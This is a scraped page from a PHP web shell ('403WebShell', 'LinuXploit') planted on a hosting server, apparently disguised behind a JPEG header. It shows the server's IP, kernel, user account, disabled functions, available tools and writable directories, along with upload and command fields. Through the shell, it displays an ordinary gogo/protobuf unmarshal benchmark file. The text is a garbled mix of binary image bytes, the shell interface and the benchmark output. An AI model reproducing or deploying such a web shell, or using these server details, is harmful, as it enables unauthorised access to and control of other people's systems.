JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 91.108.119.182  /  Your IP : 216.73.217.6
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/go/pkg/mod/github.com/gogo/protobuf@v1.3.2/test/mixbench/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/go/pkg/mod/github.com/gogo/protobuf@v1.3.2/test/mixbench/unmarshaler.txt
goos: darwin
goarch: amd64
pkg: github.com/gogo/protobuf/test/combos/both
BenchmarkNidOptNativeProtoUnmarshal-8                                     	 3000000	       437 ns/op	 525.94 MB/s
BenchmarkNinOptNativeProtoUnmarshal-8                                     	 2000000	       648 ns/op	 322.37 MB/s
BenchmarkNidRepNativeProtoUnmarshal-8                                     	  500000	      2864 ns/op	 285.90 MB/s
BenchmarkNinRepNativeProtoUnmarshal-8                                     	  500000	      2820 ns/op	 290.41 MB/s
BenchmarkNidRepPackedNativeProtoUnmarshal-8                               	 1000000	      1801 ns/op	 207.09 MB/s
BenchmarkNinRepPackedNativeProtoUnmarshal-8                               	 1000000	      1813 ns/op	 205.70 MB/s
BenchmarkNidOptStructProtoUnmarshal-8                                     	 1000000	      1839 ns/op	 459.88 MB/s
BenchmarkNinOptStructProtoUnmarshal-8                                     	 1000000	      2018 ns/op	 379.50 MB/s
BenchmarkNidRepStructProtoUnmarshal-8                                     	  300000	      5149 ns/op	 344.29 MB/s
BenchmarkNinRepStructProtoUnmarshal-8                                     	  300000	      5018 ns/op	 353.26 MB/s
BenchmarkNidEmbeddedStructProtoUnmarshal-8                                	 1000000	      1065 ns/op	 453.50 MB/s
BenchmarkNinEmbeddedStructProtoUnmarshal-8                                	 1000000	      1079 ns/op	 424.46 MB/s
BenchmarkNidNestedStructProtoUnmarshal-8                                  	  100000	     11788 ns/op	 350.34 MB/s
BenchmarkNinNestedStructProtoUnmarshal-8                                  	  200000	     11113 ns/op	 350.03 MB/s
BenchmarkNidOptCustomProtoUnmarshal-8                                     	10000000	       199 ns/op	 355.77 MB/s
BenchmarkCustomDashProtoUnmarshal-8                                       	10000000	       228 ns/op	 359.40 MB/s
BenchmarkNinOptCustomProtoUnmarshal-8                                     	 5000000	       246 ns/op	 271.79 MB/s
BenchmarkNidRepCustomProtoUnmarshal-8                                     	 2000000	       801 ns/op	 227.02 MB/s
BenchmarkNinRepCustomProtoUnmarshal-8                                     	 2000000	       810 ns/op	 224.64 MB/s
BenchmarkNinOptNativeUnionProtoUnmarshal-8                                	20000000	        80.9 ns/op	 197.77 MB/s
BenchmarkNinOptStructUnionProtoUnmarshal-8                                	10000000	       201 ns/op	 311.92 MB/s
BenchmarkNinEmbeddedStructUnionProtoUnmarshal-8                           	 3000000	       460 ns/op	 323.74 MB/s
BenchmarkNinNestedStructUnionProtoUnmarshal-8                             	 5000000	       318 ns/op	 245.16 MB/s
BenchmarkTreeProtoUnmarshal-8                                             	 5000000	       308 ns/op	 333.66 MB/s
BenchmarkOrBranchProtoUnmarshal-8                                         	 2000000	       801 ns/op	 305.77 MB/s
BenchmarkAndBranchProtoUnmarshal-8                                        	 2000000	       786 ns/op	 311.55 MB/s
BenchmarkLeafProtoUnmarshal-8                                             	10000000	       221 ns/op	 437.02 MB/s
BenchmarkDeepTreeProtoUnmarshal-8                                         	 3000000	       564 ns/op	 256.77 MB/s
BenchmarkADeepBranchProtoUnmarshal-8                                      	 2000000	       734 ns/op	 249.07 MB/s
BenchmarkAndDeepBranchProtoUnmarshal-8                                    	 1000000	      1259 ns/op	 263.56 MB/s
BenchmarkDeepLeafProtoUnmarshal-8                                         	 3000000	       473 ns/op	 295.86 MB/s
BenchmarkNilProtoUnmarshal-8                                              	10000000	       138 ns/op	 252.17 MB/s
BenchmarkNidOptEnumProtoUnmarshal-8                                       	10000000	       143 ns/op	 258.45 MB/s
BenchmarkNinOptEnumProtoUnmarshal-8                                       	10000000	       203 ns/op	 201.75 MB/s
BenchmarkNidRepEnumProtoUnmarshal-8                                       	 3000000	       461 ns/op	 127.85 MB/s
BenchmarkNinRepEnumProtoUnmarshal-8                                       	 3000000	       445 ns/op	 132.38 MB/s
BenchmarkNinOptEnumDefaultProtoUnmarshal-8                                	10000000	       199 ns/op	 205.22 MB/s
BenchmarkAnotherNinOptEnumProtoUnmarshal-8                                	10000000	       199 ns/op	 205.47 MB/s
BenchmarkAnotherNinOptEnumDefaultProtoUnmarshal-8                         	10000000	       203 ns/op	 201.78 MB/s
BenchmarkTimerProtoUnmarshal-8                                            	10000000	       224 ns/op	 468.19 MB/s
BenchmarkMyExtendableProtoUnmarshal-8                                     	 2000000	       653 ns/op	 123.97 MB/s
BenchmarkOtherExtenableProtoUnmarshal-8                                   	 1000000	      1349 ns/op	 117.08 MB/s
BenchmarkNestedDefinitionProtoUnmarshal-8                                 	 2000000	       936 ns/op	 247.70 MB/s
BenchmarkNestedDefinition_NestedMessageProtoUnmarshal-8                   	 3000000	       421 ns/op	 282.31 MB/s
BenchmarkNestedDefinition_NestedMessage_NestedNestedMsgProtoUnmarshal-8   	10000000	       224 ns/op	 364.55 MB/s
BenchmarkNestedScopeProtoUnmarshal-8                                      	 2000000	       918 ns/op	 242.79 MB/s
BenchmarkNinOptNativeDefaultProtoUnmarshal-8                              	 2000000	       663 ns/op	 315.02 MB/s
BenchmarkCustomContainerProtoUnmarshal-8                                  	 5000000	       360 ns/op	 302.50 MB/s
BenchmarkCustomNameNidOptNativeProtoUnmarshal-8                           	 3000000	       455 ns/op	 504.73 MB/s
BenchmarkCustomNameNinOptNativeProtoUnmarshal-8                           	 2000000	       667 ns/op	 313.20 MB/s
BenchmarkCustomNameNinRepNativeProtoUnmarshal-8                           	  500000	      2908 ns/op	 281.59 MB/s
BenchmarkCustomNameNinStructProtoUnmarshal-8                              	  500000	      2668 ns/op	 359.44 MB/s
BenchmarkCustomNameCustomTypeProtoUnmarshal-8                             	 2000000	       926 ns/op	 231.07 MB/s
BenchmarkCustomNameNinEmbeddedStructUnionProtoUnmarshal-8                 	 3000000	       471 ns/op	 316.30 MB/s
BenchmarkCustomNameEnumProtoUnmarshal-8                                   	 5000000	       267 ns/op	 168.48 MB/s
BenchmarkNoExtensionsMapProtoUnmarshal-8                                  	 5000000	       341 ns/op	 237.47 MB/s
BenchmarkUnrecognizedProtoUnmarshal-8                                     	20000000	        85.0 ns/op	 529.53 MB/s
BenchmarkUnrecognizedWithInnerProtoUnmarshal-8                            	 3000000	       408 ns/op	 230.38 MB/s
BenchmarkUnrecognizedWithInner_InnerProtoUnmarshal-8                      	30000000	        45.5 ns/op	 109.87 MB/s
BenchmarkUnrecognizedWithEmbedProtoUnmarshal-8                            	 5000000	       261 ns/op	 340.78 MB/s
BenchmarkUnrecognizedWithEmbed_EmbeddedProtoUnmarshal-8                   	30000000	        43.2 ns/op	 115.70 MB/s
BenchmarkNodeProtoUnmarshal-8                                             	 5000000	       310 ns/op	 325.74 MB/s
BenchmarkNonByteCustomTypeProtoUnmarshal-8                                	 5000000	       310 ns/op	 254.37 MB/s
BenchmarkNidOptNonByteCustomTypeProtoUnmarshal-8                          	 5000000	       294 ns/op	 281.53 MB/s
BenchmarkNinOptNonByteCustomTypeProtoUnmarshal-8                          	 5000000	       308 ns/op	 256.49 MB/s
BenchmarkNidRepNonByteCustomTypeProtoUnmarshal-8                          	 1000000	      1040 ns/op	 221.03 MB/s
BenchmarkNinRepNonByteCustomTypeProtoUnmarshal-8                          	 1000000	      1039 ns/op	 221.20 MB/s
BenchmarkProtoTypeProtoUnmarshal-8                                        	10000000	       220 ns/op	 372.18 MB/s
PASS
ok  	github.com/gogo/protobuf/test/combos/both	153.117s

Youez - 2016 - github.com/yon3zu
LinuXploit